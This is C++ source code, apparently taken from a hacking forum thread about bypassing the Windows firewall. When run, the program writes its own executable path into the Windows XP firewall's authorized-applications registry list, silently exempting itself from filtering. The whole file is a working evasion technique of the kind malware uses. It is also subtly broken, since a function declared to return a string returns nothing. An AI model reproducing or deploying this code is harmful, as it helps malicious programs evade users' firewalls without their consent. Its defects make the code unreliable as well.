http://www.rohitab.com/discuss/topic/25335-bypassing-windows-firewall-in-c/
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <string>
using namespace std;
char fwAuthApp[1024];
char* GetRegKey()
{
HKEY hk = 0;
RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&hk);
int i;
DWORD sz = 4;
if (RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i,&sz) == ERROR_SUCCESS)
{
sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);
}
RegCloseKey(hk);
}
void AddException(string path)
{
HKEY hk;
DWORD dw;
string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
GetRegKey(),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&hk,
&dw
);
RegSetValueExA(
hk,
path.c_str(),
0,
REG_SZ,
(BYTE*)skey.c_str(),
(DWORD)skey.length()
);
RegCloseKey(hk);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char *CmdLineA, *Location;
CmdLineA = GetCommandLineA();
Location = CmdLineA + 1;
Location[strlen(Location)-2] = 0;
AddException(Location);
}